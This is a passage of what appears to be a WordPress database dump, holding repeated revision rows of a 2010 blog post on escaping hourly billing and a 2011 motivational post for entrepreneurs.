Share your expertise–don’t sell it. Most  of all provide more “use” value to your clients than they are paying  you in cash. In other words, whenever your clients value the benefits  they experience working with you more than the value of the money they  are holding, you’ll have made a difference.\r\n\r\n<strong><em>Stop writing proposals, start making them.</em></strong>\r\nWriting  proposals is for suckers. How many times have you written a proposal  for a client-to-be and then you wait, and wait, while your client shops  around looking for a better fit at a lower price? Stop writing proposals  and start making them.\r\n\r\nYour proposal is the expertise you share in conversation with your  prospective client about how best to solve their problem. After you’ve  had the opportunity to assess how best to solve their problem, simply  explain in a deeper conversation, what course of action you’d suggest,  explain the financial investment required of them, and then say ”if we  have a deal, I’ll have my office send you written confirmation of our  conversation and we can begin immediately”!  Your proposals are the  words coming out of your mouth–not something that gathers dust  languishing on someone’s desk!\r\n\r\n<strong><em>Create once, and then reap the rewards again and again.</em></strong>\r\nMany  solo professionals build their practice/business around solving the  same kinds of problems for different clients. Their relationships are  consulting based, not transactional. If this is true for your business,  you probably have tremendous expertise that can be leveraged and offered  to many clients at the same time, indefinitely. Your specific expertise  can be made available in forms where many more clients can benefit from  your value while you are drinking wine in Paris.\r\n\r\n<strong>There has never been a more profound opportunity for you to  exponentially increase your impact, influence and income than right  now!  Ideas are the currency of the new economy. Build your brand around  what you love, share your knowledge for the good of all, and create  high value for others first, and you’ll never fill out a time sheet  again! </strong>\r\n\r\n<strong>Think about how you create value, and in what ways you might be selling yourself short.\r\n</strong>', 'In the new economy, it’s your ideas that are highly valued–not your time.', 0, '', 'inherit', 'open', 'open', '', '1308-revision-6', '', '', '2010-12-13 18:56:03', '2010-12-14 01:56:03', '', 1308, 'http://www.whitehotcenter.com/2010/12/13/1308-revision-6/', 0, 'revision', '', 0),
(1316, 2, '2010-12-13 19:02:19', '2010-12-14 02:02:19', '<img class="alignnone size-full wp-image-1309" title="timeformoney" src="http://whc.fbdev.org/wp-content/uploads/2010/12/timeformoney.gif" alt="never trade time for money" width="500" height="365" />\r\n<h2>Trading your time for money is a  mind-set you can no longer afford. In the new economy unfolding before  you, it''s your ideas that are highly valued–not your time.</h2>\r\nThe fact remains your clients and prospects have an abundant choice of  alternatives to you. There are far too many competitors in the  marketplace today. Being good, even great at what you do is not enough  to differentiate you from the slush pile, and get your business to the  next level–where you’re compensated for your value.\r\n\r\n<strong>Fast and cheap.</strong>\r\n\r\nAs an early-stage entrepreneur, it’s important to remember most  clients will place a low value on your time–and a high value on theirs.  Consequently, these are the clients who get things done fast and cheap.  The bottom line is you’ll only get the gig if you’re the fastest and  cheapest. In a commoditized market, any price will be perceived as too  high. You’ll always be vulnerable to lower cost providers, and have  little if no power influencing the procurement of your services.\r\n\r\nOnly two things release you from the bondage of trading your time for money–\r\n\r\n<em>-       the level of demand for your available time</em>.\r\n\r\n<em>-       the financial value people place on your ideas</em>.\r\n\r\nTime is finite, valuable ideas are infinite. Entrepreneurs, who can  sustain their focus and attention on creativity and innovation in how  they bring value to the marketplace, will be the beneficiaries of all  the new economy has to offer. Those who stay stuck in a commoditized  market, billing their time by the hour, will doom themselves to  order-taker status.\r\n\r\n<strong>Get yourself free at last from the hourly rate mentality.</strong>\r\n\r\nWe are at the very beginning of a new global economic order. In the  wake of this transition, we are witnessing the destruction of old  systems and structures. For many businesses and the people they employ,  the effects have been nothing short of devastating.  As the dust settles  from this disruptive reset, and in the midst of all this uncertainty,  they are many entrepreneurs who are thriving!  Proof that prosperity  doesn’t care about the economy.\r\n\r\nWould you like to know what makes these creative businesses rock, and  how you can get your scene to rock at the next level?  Here are some  ideas that may help you reframe your thinking so you can break free from  the physics of running your business by the clock:\r\n\r\n<strong><em>Do what really matters to you, and really matters to some people.</em></strong>\r\nIn  order for you to sustain the energy required to innovate remarkable  value for your clients, you must engage yourself in only those ideas,  activities and relationships that really matter to you. The lines  between work and play must be dissolved.  Passion, and the emotional  labor that naturally comes with it, are prerequisites for thriving in  the idea economy.\r\n\r\nMore importantly, what really matters to you must serve a specific  group of people–not everyone. Your expertise must be highly specialized  in what you love and serves the higher emotional needs of others in the  marketplace who are just as passionate about your thing as you are. The  days of the generalist are over.  Where ever your passion lies, get  famous for it!\r\n\r\n<strong><em>Good is the new slush pile.</em></strong>\r\nNowadays,  everything and everybody is good. Good enough. Your talent and expertise  is the ante, merely the price of admission. Many people can do what you  do–some even better! Become highly valued for your thinking and your  contributions of value– not through your skills at implementation or  managing process. It is the only way for you to break free from the  restrictions charging by hour sets on your income and the size of your  future.\r\n\r\n<strong><em>Be really different. Make a real difference.</em></strong>\r\nProperly  positioning the value you represent in the minds of clients is the  source code to your financial freedom. You must invest in building your  personal brand, and have it represent something genuine, remarkable, and  highly valued from the alternatives in the marketplace.\r\n\r\nMake a difference (and create opportunity) by providing your value to  those you wish to serve first. Share your expertise–don’t sell it. Most  of all provide more “use” value to your clients than they are paying  you in cash. In other words, whenever your clients value the benefits  they experience working with you more than the value of the money they  are holding, you’ll have made a difference.\r\n\r\n<strong><em>Stop writing proposals, start making them.</em></strong>\r\nWriting  proposals is for suckers. How many times have you written a proposal  for a client-to-be and then you wait, and wait, while your client shops  around looking for a better fit at a lower price? Stop writing proposals  and start making them.\r\n\r\nYour proposal is the expertise you share in conversation with your  prospective client about how best to solve their problem. After you’ve  had the opportunity to assess how best to solve their problem, simply  explain in a deeper conversation, what course of action you’d suggest,  explain the financial investment required of them, and then say ”if we  have a deal, I’ll have my office send you written confirmation of our  conversation and we can begin immediately”!  Your proposals are the  words coming out of your mouth–not something that gathers dust  languishing on someone’s desk!\r\n\r\n<strong><em>Create once, and then reap the rewards again and again.</em></strong>\r\nMany  solo professionals build their practice/business around solving the  same kinds of problems for different clients. Their relationships are  consulting based, not transactional. If this is true for your business,  you probably have tremendous expertise that can be leveraged and offered  to many clients at the same time, indefinitely. Your specific expertise  can be made available in forms where many more clients can benefit from  your value while you are drinking wine in Paris.\r\n\r\n<strong>There has never been a more profound opportunity for you to  exponentially increase your impact, influence and income than right  now!  Ideas are the currency of the new economy. Build your brand around  what you love, share your knowledge for the good of all, and create  high value for others first, and you’ll never fill out a time sheet  again! </strong>\r\n\r\n<strong>Think about how you create value, and in what ways you might be selling yourself short.</strong>\r\n\r\n<span style="color: #333333;"><em>Editor’s Note: This post is a small taste of the concepts and ideas   we will engage ourselves in during a year-long series of four 2-day <a href="http://www.whcquantumleap.com" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater    clarity and confidence to define a compelling vision for your future–    and set the foundation to achieve your goal of taking your business to   the next level  in an easy, relaxed, and joyful way. If you are   interesting in  attending and would like more information, <a href="mailto:thomson@whitehotcenter.com" target="_blank">email</a> me directly!</em></span>', 'In the new economy, it’s your ideas that are highly valued–not your time.', 0, '', 'inherit', 'open', 'open', '', '1308-revision-7', '', '', '2010-12-13 19:02:19', '2010-12-14 02:02:19', '', 1308, 'http://www.whitehotcenter.com/2010/12/13/1308-revision-7/', 0, 'revision', '', 0),
(1317, 2, '2010-12-13 19:02:29', '2010-12-14 02:02:29', '<img class="alignnone size-full wp-image-1309" title="timeformoney" src="http://whc.fbdev.org/wp-content/uploads/2010/12/timeformoney.gif" alt="never trade time for money" width="500" height="365" />\r\n<h2>Trading your time for money is a  mind-set you can no longer afford. In the new economy unfolding before  you, it''s your ideas that are highly valued–not your time.</h2>\r\nThe fact remains your clients and prospects have an abundant choice of  alternatives to you. There are far too many competitors in the  marketplace today. Being good, even great at what you do is not enough  to differentiate you from the slush pile, and get your business to the  next level–where you’re compensated for your value.\r\n\r\n<strong>Fast and cheap.</strong>\r\n\r\nAs an early-stage entrepreneur, it’s important to remember most  clients will place a low value on your time–and a high value on theirs.  Consequently, these are the clients who get things done fast and cheap.  The bottom line is you’ll only get the gig if you’re the fastest and  cheapest. In a commoditized market, any price will be perceived as too  high. You’ll always be vulnerable to lower cost providers, and have  little if no power influencing the procurement of your services.\r\n\r\nOnly two things release you from the bondage of trading your time for money–\r\n\r\n<em>-       the level of demand for your available time</em>.\r\n\r\n<em>-       the financial value people place on your ideas</em>.\r\n\r\nTime is finite, valuable ideas are infinite. Entrepreneurs, who can  sustain their focus and attention on creativity and innovation in how  they bring value to the marketplace, will be the beneficiaries of all  the new economy has to offer. Those who stay stuck in a commoditized  market, billing their time by the hour, will doom themselves to  order-taker status.\r\n\r\n<strong>Get yourself free at last from the hourly rate mentality.</strong>\r\n\r\nWe are at the very beginning of a new global economic order. In the  wake of this transition, we are witnessing the destruction of old  systems and structures. For many businesses and the people they employ,  the effects have been nothing short of devastating.  As the dust settles  from this disruptive reset, and in the midst of all this uncertainty,  they are many entrepreneurs who are thriving!  Proof that prosperity  doesn’t care about the economy.\r\n\r\nWould you like to know what makes these creative businesses rock, and  how you can get your scene to rock at the next level?  Here are some  ideas that may help you reframe your thinking so you can break free from  the physics of running your business by the clock:\r\n\r\n<strong><em>Do what really matters to you, and really matters to some people.</em></strong>\r\nIn  order for you to sustain the energy required to innovate remarkable  value for your clients, you must engage yourself in only those ideas,  activities and relationships that really matter to you. The lines  between work and play must be dissolved.  Passion, and the emotional  labor that naturally comes with it, are prerequisites for thriving in  the idea economy.\r\n\r\nMore importantly, what really matters to you must serve a specific  group of people–not everyone. Your expertise must be highly specialized  in what you love and serves the higher emotional needs of others in the  marketplace who are just as passionate about your thing as you are. The  days of the generalist are over.  Where ever your passion lies, get  famous for it!\r\n\r\n<strong><em>Good is the new slush pile.</em></strong>\r\nNowadays,  everything and everybody is good. Good enough. Your talent and expertise  is the ante, merely the price of admission. Many people can do what you  do–some even better! Become highly valued for your thinking and your  contributions of value– not through your skills at implementation or  managing process. It is the only way for you to break free from the  restrictions charging by hour sets on your income and the size of your  future.\r\n\r\n<strong><em>Be really different. Make a real difference.</em></strong>\r\nProperly  positioning the value you represent in the minds of clients is the  source code to your financial freedom. You must invest in building your  personal brand, and have it represent something genuine, remarkable, and  highly valued from the alternatives in the marketplace.\r\n\r\nMake a difference (and create opportunity) by providing your value to  those you wish to serve first. Share your expertise–don’t sell it. Most  of all provide more “use” value to your clients than they are paying  you in cash. In other words, whenever your clients value the benefits  they experience working with you more than the value of the money they  are holding, you’ll have made a difference.\r\n\r\n<strong><em>Stop writing proposals, start making them.</em></strong>\r\nWriting  proposals is for suckers. How many times have you written a proposal  for a client-to-be and then you wait, and wait, while your client shops  around looking for a better fit at a lower price? Stop writing proposals  and start making them.\r\n\r\nYour proposal is the expertise you share in conversation with your  prospective client about how best to solve their problem. After you’ve  had the opportunity to assess how best to solve their problem, simply  explain in a deeper conversation, what course of action you’d suggest,  explain the financial investment required of them, and then say ”if we  have a deal, I’ll have my office send you written confirmation of our  conversation and we can begin immediately”!  Your proposals are the  words coming out of your mouth–not something that gathers dust  languishing on someone’s desk!\r\n\r\n<strong><em>Create once, and then reap the rewards again and again.</em></strong>\r\nMany  solo professionals build their practice/business around solving the  same kinds of problems for different clients. Their relationships are  consulting based, not transactional. If this is true for your business,  you probably have tremendous expertise that can be leveraged and offered  to many clients at the same time, indefinitely. Your specific expertise  can be made available in forms where many more clients can benefit from  your value while you are drinking wine in Paris.\r\n\r\n<strong>There has never been a more profound opportunity for you to  exponentially increase your impact, influence and income than right  now!  Ideas are the currency of the new economy. Build your brand around  what you love, share your knowledge for the good of all, and create  high value for others first, and you’ll never fill out a time sheet  again! </strong>\r\n\r\n<strong>Think about how you create value, and in what ways you might be selling yourself short.</strong>\r\n\r\n<span style="color: #333333;"><em>Editor’s Note: This post is a small taste of the concepts and ideas   we will engage ourselves in during a year-long series of four 2-day <a href="http://www.whcquantumleap.com" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater    clarity and confidence to define a compelling vision for your future–    and set the foundation to achieve your goal of taking your business to   the next level  in an easy, relaxed, and joyful way. If you are   interesting in  attending and would like more information, <a href="mailto:thomson@whitehotcenter.com" target="_blank">email</a> me directly!</em></span>', 'In the new economy, it’s your ideas that are highly valued–not your time.', 0, '', 'inherit', 'open', 'open', '', '1308-revision-8', '', '', '2010-12-13 19:02:29', '2010-12-14 02:02:29', '', 1308, 'http://www.whitehotcenter.com/2010/12/13/1308-revision-8/', 0, 'revision', '', 0),
(1434, 2, '2011-01-03 07:25:55', '2011-01-03 14:25:55', '<a href="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif"><img class="alignnone size-full wp-image-1435" title="meter" src="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif" alt="rock the needle in 2011" width="259" height="229" /></a>\r\n<h2>It''s my belief 2011 will be the year when many entrepreneurs rock the needle in realizing their business and life goals. I know it will be for me.  With every action you take towards the goals you’ve set for yourself this year, ask yourself this question before you move one muscle, “will this rock the needle?”</h2>\r\nNothing is more frustrating than to realize all you’ve been doing is getting ready to get ready. This is worse than procrastination– and it’s a waste of valuable mental and physical energy!\r\n\r\nDo you recognize any of these getting-ready-to-get-ready activities?\r\n\r\n<strong>- doing more and more research.\r\n- perfecting your plan, your product idea, your presentation.\r\n- tweaking your website / blog / portfolio / resume.</strong>\r\n\r\nNone of these activities will move the needle one bit toward making your vision materialize. At some point, your actions need to produce results. For that to happen, you must, at last, be out there connecting with people, contributing your value, building trust–long before they will ever be your customers or clients.\r\n\r\nDo you recognize any of these rock the needle activities?\r\n\r\n<strong>- sending that email, making that phone call, attending that conference.\r\n- introducing yourself to as many off-line people as you can.\r\n- introducing yourself to as many online people as you can.\r\n- finding opportunities to contribute your value to people first.\r\n- building new partnerships, alliances and collaborations.\r\n- supporting and nurturing and elevating your “community” .</strong>\r\n\r\nI know what your thinking to yourself– and the answer to that question is “hell yes it’s scary, risky, perhaps even foolish to do what is really necessary in the physical world to make sh*t happen!”\r\n<h2><span style="color: #808080;">For real stuff to happen, real stuff has to get done. </span></h2>\r\nYou can prepare, research and tweet until hell freezes over, but if you’re not connecting your value (the quality of your presence) with more people who want to exchange their money for it, you’re not rocking the needle hard enough for the universe to co-create what’s necessary for your desired results to materialize.\r\n\r\nRemember too–doing the real stuff shouldn’t feel like a chore. (Unless of course, you don’t have any clarity or confidence to know want you want.) Do everything necessary in an easy and relaxed way. When you do, you’ll experience everything that is the opposite of work!  You’ll feel the exhilaration of the momentum you are building each time you rock the needle by doing only the things that get you that much closer to achievement.\r\n<h2><span style="color: #808080;">Stop getting ready to get ready! Ready or not, start rocking the meter in 2011!</span></h2>\r\n<strong>Happy New Year! I wish you all inspired success in 2011.</strong>', '2011: Rock the needle!', 0, '', 'publish', 'open', 'open', '', '2011-rock-the-needle', '', '', '2011-01-03 07:28:40', '2011-01-03 14:28:40', '', 0, 'http://www.whitehotcenter.com/?p=1434', 0, 'post', '', 4),
(1319, 2, '2010-12-13 19:04:27', '2010-12-14 02:04:27', '<img class="alignnone size-full wp-image-1309" title="timeformoney" src="http://whc.fbdev.org/wp-content/uploads/2010/12/timeformoney.gif" alt="never trade time for money" width="500" height="365" />\r\n<h2>Trading your time for money is a  mind-set you can no longer afford. In the new economy unfolding before  you, it''s your ideas that are highly valued–not your time.</h2>\r\nThe fact remains your clients and prospects have an abundant choice of  alternatives to you. There are far too many competitors in the  marketplace today. Being good, even great at what you do is not enough  to differentiate you from the slush pile, and get your business to the  next level–where you’re compensated for your value.\r\n\r\n<strong>Fast and cheap.</strong>\r\n\r\nAs an early-stage entrepreneur, it’s important to remember most  clients will place a low value on your time–and a high value on theirs.  Consequently, these are the clients who get things done fast and cheap.  The bottom line is you’ll only get the gig if you’re the fastest and  cheapest. In a commoditized market, any price will be perceived as too  high. You’ll always be vulnerable to lower cost providers, and have  little if no power influencing the procurement of your services.\r\n\r\nOnly two things release you from the bondage of trading your time for money–\r\n\r\n<em>-       the level of demand for your available time</em>.\r\n\r\n<em>-       the financial value people place on your ideas</em>.\r\n\r\nTime is finite, valuable ideas are infinite. Entrepreneurs, who can  sustain their focus and attention on creativity and innovation in how  they bring value to the marketplace, will be the beneficiaries of all  the new economy has to offer. Those who stay stuck in a commoditized  market, billing their time by the hour, will doom themselves to  order-taker status.\r\n\r\n<strong>Get yourself free at last from the hourly rate mentality.</strong>\r\n\r\nWe are at the very beginning of a new global economic order. In the  wake of this transition, we are witnessing the destruction of old  systems and structures. For many businesses and the people they employ,  the effects have been nothing short of devastating.  As the dust settles  from this disruptive reset, and in the midst of all this uncertainty,  they are many entrepreneurs who are thriving!  Proof that prosperity  doesn’t care about the economy.\r\n\r\nWould you like to know what makes these creative businesses rock, and  how you can get your scene to rock at the next level?  Here are some  ideas that may help you reframe your thinking so you can break free from  the physics of running your business by the clock:\r\n\r\n<strong><em>Do what really matters to you, and really matters to some people.</em></strong>\r\nIn  order for you to sustain the energy required to innovate remarkable  value for your clients, you must engage yourself in only those ideas,  activities and relationships that really matter to you. The lines  between work and play must be dissolved.  Passion, and the emotional  labor that naturally comes with it, are prerequisites for thriving in  the idea economy.\r\n\r\nMore importantly, what really matters to you must serve a specific  group of people–not everyone. Your expertise must be highly specialized  in what you love and serves the higher emotional needs of others in the  marketplace who are just as passionate about your thing as you are. The  days of the generalist are over.  Where ever your passion lies, get  famous for it!\r\n\r\n<strong><em>Good is the new slush pile.</em></strong>\r\nNowadays,  everything and everybody is good. Good enough. Your talent and expertise  is the ante, merely the price of admission. Many people can do what you  do–some even better! Become highly valued for your thinking and your  contributions of value– not through your skills at implementation or  managing process. It is the only way for you to break free from the  restrictions charging by hour sets on your income and the size of your  future.\r\n\r\n<strong><em>Be really different. Make a real difference.</em></strong>\r\nProperly  positioning the value you represent in the minds of clients is the  source code to your financial freedom. You must invest in building your  personal brand, and have it represent something genuine, remarkable, and  highly valued from the alternatives in the marketplace.\r\n\r\nMake a difference (and create opportunity) by providing your value to  those you wish to serve first. Share your expertise–don’t sell it. Most  of all provide more “use” value to your clients than they are paying  you in cash. In other words, whenever your clients value the benefits  they experience working with you more than the value of the money they  are holding, you’ll have made a difference.\r\n\r\n<strong><em>Stop writing proposals, start making them.</em></strong>\r\nWriting  proposals is for suckers. How many times have you written a proposal  for a client-to-be and then you wait, and wait, while your client shops  around looking for a better fit at a lower price? Stop writing proposals  and start making them.\r\n\r\nYour proposal is the expertise you share in conversation with your  prospective client about how best to solve their problem. After you’ve  had the opportunity to assess how best to solve their problem, simply  explain in a deeper conversation, what course of action you’d suggest,  explain the financial investment required of them, and then say ”if we  have a deal, I’ll have my office send you written confirmation of our  conversation and we can begin immediately”!  Your proposals are the  words coming out of your mouth–not something that gathers dust  languishing on someone’s desk!\r\n\r\n<strong><em>Create once, and then reap the rewards again and again.</em></strong>\r\nMany  solo professionals build their practice/business around solving the  same kinds of problems for different clients. Their relationships are  consulting based, not transactional. If this is true for your business,  you probably have tremendous expertise that can be leveraged and offered  to many clients at the same time, indefinitely. Your specific expertise  can be made available in forms where many more clients can benefit from  your value while you are drinking wine in Paris.\r\n\r\n<strong>There has never been a more profound opportunity for you to  exponentially increase your impact, influence and income than right  now!  Ideas are the currency of the new economy. Build your brand around  what you love, share your knowledge for the good of all, and create  high value for others first, and you’ll never fill out a time sheet  again! </strong>\r\n\r\n<strong>Think about how you create value, and in what ways you might be selling yourself short.</strong>\r\n\r\n<span style="color: #333333;"><em>Editor’s Note: This post is a small taste of the concepts and ideas   we will engage ourselves in during a year-long series of four 2-day <a href="http://www.whcquantumleap.com" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater    clarity and confidence to define a compelling vision for your future–    and set the foundation to achieve your goal of taking your business to   the next level  in an easy, relaxed, and joyful way. If you are   interesting in  attending and would like more information, <a href="mailto:thomson@whitehotcenter.com" target="_blank">email</a> me directly!</em></span>', 'In the new economy, it’s your ideas that are highly valued–not your time.', 0, '', 'inherit', 'open', 'open', '', '1308-revision-9', '', '', '2010-12-13 19:04:27', '2010-12-14 02:04:27', '', 1308, 'http://www.whitehotcenter.com/2010/12/13/1308-revision-9/', 0, 'revision', '', 0);
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(1320, 2, '2010-12-27 15:46:02', '2010-12-27 22:46:02', '<img class="alignnone size-full wp-image-1309" title="timeformoney" src="http://whc.fbdev.org/wp-content/uploads/2010/12/timeformoney.gif" alt="never trade time for money" width="450" height="329" />\r\n<h2>Trading your time for money is a  mind-set you can no longer afford. In the new economy unfolding before  you, it''s your ideas that are highly valued–not your time.</h2>\r\nThe fact remains your clients and prospects have an abundant choice of  alternatives to you. There are far too many competitors in the  marketplace today. Being good, even great at what you do is not enough  to differentiate you from the slush pile, and get your business to the  next level–where you’re compensated for your value.\r\n\r\n<strong>Fast and cheap.</strong>\r\n\r\nAs an early-stage entrepreneur, it’s important to remember most  clients will place a low value on your time–and a high value on theirs.  Consequently, these are the clients who get things done fast and cheap.  The bottom line is you’ll only get the gig if you’re the fastest and  cheapest. In a commoditized market, any price will be perceived as too  high. You’ll always be vulnerable to lower cost providers, and have  little if no power influencing the procurement of your services.\r\n\r\nOnly two things release you from the bondage of trading your time for money–\r\n\r\n<em>-       the level of demand for your available time</em>.\r\n\r\n<em>-       the financial value people place on your ideas</em>.\r\n\r\nTime is finite, valuable ideas are infinite. Entrepreneurs, who can  sustain their focus and attention on creativity and innovation in how  they bring value to the marketplace, will be the beneficiaries of all  the new economy has to offer. Those who stay stuck in a commoditized  market, billing their time by the hour, will doom themselves to  order-taker status.\r\n\r\n<strong>Get yourself free at last from the hourly rate mentality.</strong>\r\n\r\nWe are at the very beginning of a new global economic order. In the  wake of this transition, we are witnessing the destruction of old  systems and structures. For many businesses and the people they employ,  the effects have been nothing short of devastating.  As the dust settles  from this disruptive reset, and in the midst of all this uncertainty,  they are many entrepreneurs who are thriving!  Proof that prosperity  doesn’t care about the economy.\r\n\r\nWould you like to know what makes these creative businesses rock, and  how you can get your scene to rock at the next level?  Here are some  ideas that may help you reframe your thinking so you can break free from  the physics of running your business by the clock:\r\n\r\n<strong><em>Do what really matters to you, and really matters to some people.</em></strong>\r\nIn  order for you to sustain the energy required to innovate remarkable  value for your clients, you must engage yourself in only those ideas,  activities and relationships that really matter to you. The lines  between work and play must be dissolved.  Passion, and the emotional  labor that naturally comes with it, are prerequisites for thriving in  the idea economy.\r\n\r\nMore importantly, what really matters to you must serve a specific  group of people–not everyone. Your expertise must be highly specialized  in what you love and serves the higher emotional needs of others in the  marketplace who are just as passionate about your thing as you are. The  days of the generalist are over.  Where ever your passion lies, get  famous for it!\r\n\r\n<strong><em>Good is the new slush pile.</em></strong>\r\nNowadays,  everything and everybody is good. Good enough. Your talent and expertise  is the ante, merely the price of admission. Many people can do what you  do–some even better! Become highly valued for your thinking and your  contributions of value– not through your skills at implementation or  managing process. It is the only way for you to break free from the  restrictions charging by hour sets on your income and the size of your  future.\r\n\r\n<strong><em>Be really different. Make a real difference.</em></strong>\r\nProperly  positioning the value you represent in the minds of clients is the  source code to your financial freedom. You must invest in building your  personal brand, and have it represent something genuine, remarkable, and  highly valued from the alternatives in the marketplace.\r\n\r\nMake a difference (and create opportunity) by providing your value to  those you wish to serve first. Share your expertise–don’t sell it. Most  of all provide more “use” value to your clients than they are paying  you in cash. In other words, whenever your clients value the benefits  they experience working with you more than the value of the money they  are holding, you’ll have made a difference.\r\n\r\n<strong><em>Stop writing proposals, start making them.</em></strong>\r\nWriting  proposals is for suckers. How many times have you written a proposal  for a client-to-be and then you wait, and wait, while your client shops  around looking for a better fit at a lower price? Stop writing proposals  and start making them.\r\n\r\nYour proposal is the expertise you share in conversation with your  prospective client about how best to solve their problem. After you’ve  had the opportunity to assess how best to solve their problem, simply  explain in a deeper conversation, what course of action you’d suggest,  explain the financial investment required of them, and then say ”if we  have a deal, I’ll have my office send you written confirmation of our  conversation and we can begin immediately”!  Your proposals are the  words coming out of your mouth–not something that gathers dust  languishing on someone’s desk!\r\n\r\n<strong><em>Create once, and then reap the rewards again and again.</em></strong>\r\nMany  solo professionals build their practice/business around solving the  same kinds of problems for different clients. Their relationships are  consulting based, not transactional. If this is true for your business,  you probably have tremendous expertise that can be leveraged and offered  to many clients at the same time, indefinitely. Your specific expertise  can be made available in forms where many more clients can benefit from  your value while you are drinking wine in Paris.\r\n\r\n<strong>There has never been a more profound opportunity for you to  exponentially increase your impact, influence and income than right  now!  Ideas are the currency of the new economy. Build your brand around  what you love, share your knowledge for the good of all, and create  high value for others first, and you’ll never fill out a time sheet  again! </strong>\r\n\r\n<strong>Think about how you create value, and in what ways you might be selling yourself short.</strong>\r\n\r\n<span style="color: #333333;"><em>Editor’s Note: This post is a small taste of the concepts and ideas   we will engage ourselves in during a year-long series of four 2-day <a href="http://www.whcquantumleap.com" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater    clarity and confidence to define a compelling vision for your future–    and set the foundation to achieve your goal of taking your business to   the next level  in an easy, relaxed, and joyful way. If you are   interesting in  attending and would like more information, <a href="mailto:thomson@whitehotcenter.com" target="_blank">email</a> me directly!</em></span>', 'In the new economy, it’s your ideas that are highly valued–not your time.', 0, '', 'inherit', 'open', 'open', '', '1308-autosave', '', '', '2010-12-27 15:46:02', '2010-12-27 22:46:02', '', 1308, 'http://www.whitehotcenter.com/2010/12/13/1308-autosave/', 0, 'revision', '', 0),
(1321, 2, '2010-12-13 20:35:08', '2010-12-14 03:35:08', '<img class="alignnone size-full wp-image-1309" title="timeformoney" src="http://whc.fbdev.org/wp-content/uploads/2010/12/timeformoney.gif" alt="never trade time for money" width="500" height="365" />\r\n<h2>Trading your time for money is a  mind-set you can no longer afford. In the new economy unfolding before  you, it''s your ideas that are highly valued–not your time.</h2>\r\nThe fact remains your clients and prospects have an abundant choice of  alternatives to you. There are far too many competitors in the  marketplace today. Being good, even great at what you do is not enough  to differentiate you from the slush pile, and get your business to the  next level–where you’re compensated for your value.\r\n\r\n<strong>Fast and cheap.</strong>\r\n\r\nAs an early-stage entrepreneur, it’s important to remember most  clients will place a low value on your time–and a high value on theirs.  Consequently, these are the clients who get things done fast and cheap.  The bottom line is you’ll only get the gig if you’re the fastest and  cheapest. In a commoditized market, any price will be perceived as too  high. You’ll always be vulnerable to lower cost providers, and have  little if no power influencing the procurement of your services.\r\n\r\nOnly two things release you from the bondage of trading your time for money–\r\n\r\n<em>-       the level of demand for your available time</em>.\r\n\r\n<em>-       the financial value people place on your ideas</em>.\r\n\r\nTime is finite, valuable ideas are infinite. Entrepreneurs, who can  sustain their focus and attention on creativity and innovation in how  they bring value to the marketplace, will be the beneficiaries of all  the new economy has to offer. Those who stay stuck in a commoditized  market, billing their time by the hour, will doom themselves to  order-taker status.\r\n\r\n<strong>Get yourself free at last from the hourly rate mentality.</strong>\r\n\r\nWe are at the very beginning of a new global economic order. In the  wake of this transition, we are witnessing the destruction of old  systems and structures. For many businesses and the people they employ,  the effects have been nothing short of devastating.  As the dust settles  from this disruptive reset, and in the midst of all this uncertainty,  they are many entrepreneurs who are thriving!  Proof that prosperity  doesn’t care about the economy.\r\n\r\nWould you like to know what makes these creative businesses rock, and  how you can get your scene to rock at the next level?  Here are some  ideas that may help you reframe your thinking so you can break free from  the physics of running your business by the clock:\r\n\r\n<strong><em>Do what really matters to you, and really matters to some people.</em></strong>\r\nIn  order for you to sustain the energy required to innovate remarkable  value for your clients, you must engage yourself in only those ideas,  activities and relationships that really matter to you. The lines  between work and play must be dissolved.  Passion, and the emotional  labor that naturally comes with it, are prerequisites for thriving in  the idea economy.\r\n\r\nMore importantly, what really matters to you must serve a specific  group of people–not everyone. Your expertise must be highly specialized  in what you love and serves the higher emotional needs of others in the  marketplace who are just as passionate about your thing as you are. The  days of the generalist are over.  Where ever your passion lies, get  famous for it!\r\n\r\n<strong><em>Good is the new slush pile.</em></strong>\r\nNowadays,  everything and everybody is good. Good enough. Your talent and expertise  is the ante, merely the price of admission. Many people can do what you  do–some even better! Become highly valued for your thinking and your  contributions of value– not through your skills at implementation or  managing process. It is the only way for you to break free from the  restrictions charging by hour sets on your income and the size of your  future.\r\n\r\n<strong><em>Be really different. Make a real difference.</em></strong>\r\nProperly  positioning the value you represent in the minds of clients is the  source code to your financial freedom. You must invest in building your  personal brand, and have it represent something genuine, remarkable, and  highly valued from the alternatives in the marketplace.\r\n\r\nMake a difference (and create opportunity) by providing your value to  those you wish to serve first. Share your expertise–don’t sell it. Most  of all provide more “use” value to your clients than they are paying  you in cash. In other words, whenever your clients value the benefits  they experience working with you more than the value of the money they  are holding, you’ll have made a difference.\r\n\r\n<strong><em>Stop writing proposals, start making them.</em></strong>\r\nWriting  proposals is for suckers. How many times have you written a proposal  for a client-to-be and then you wait, and wait, while your client shops  around looking for a better fit at a lower price? Stop writing proposals  and start making them.\r\n\r\nYour proposal is the expertise you share in conversation with your  prospective client about how best to solve their problem. After you’ve  had the opportunity to assess how best to solve their problem, simply  explain in a deeper conversation, what course of action you’d suggest,  explain the financial investment required of them, and then say ”if we  have a deal, I’ll have my office send you written confirmation of our  conversation and we can begin immediately”!  Your proposals are the  words coming out of your mouth–not something that gathers dust  languishing on someone’s desk!\r\n\r\n<strong><em>Create once, and then reap the rewards again and again.</em></strong>\r\nMany  solo professionals build their practice/business around solving the  same kinds of problems for different clients. Their relationships are  consulting based, not transactional. If this is true for your business,  you probably have tremendous expertise that can be leveraged and offered  to many clients at the same time, indefinitely. Your specific expertise  can be made available in forms where many more clients can benefit from  your value while you are drinking wine in Paris.\r\n\r\n<strong>There has never been a more profound opportunity for you to  exponentially increase your impact, influence and income than right  now!  Ideas are the currency of the new economy. Build your brand around  what you love, share your knowledge for the good of all, and create  high value for others first, and you’ll never fill out a time sheet  again! </strong>\r\n\r\n<strong>Think about how you create value, and in what ways you might be selling yourself short.</strong>\r\n\r\n<span style="color: #333333;"><em>Editor’s Note: This post is a small taste of the concepts and ideas   we will engage ourselves in during a year-long series of four 2-day <a href="http://www.whcquantumleap.com" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in 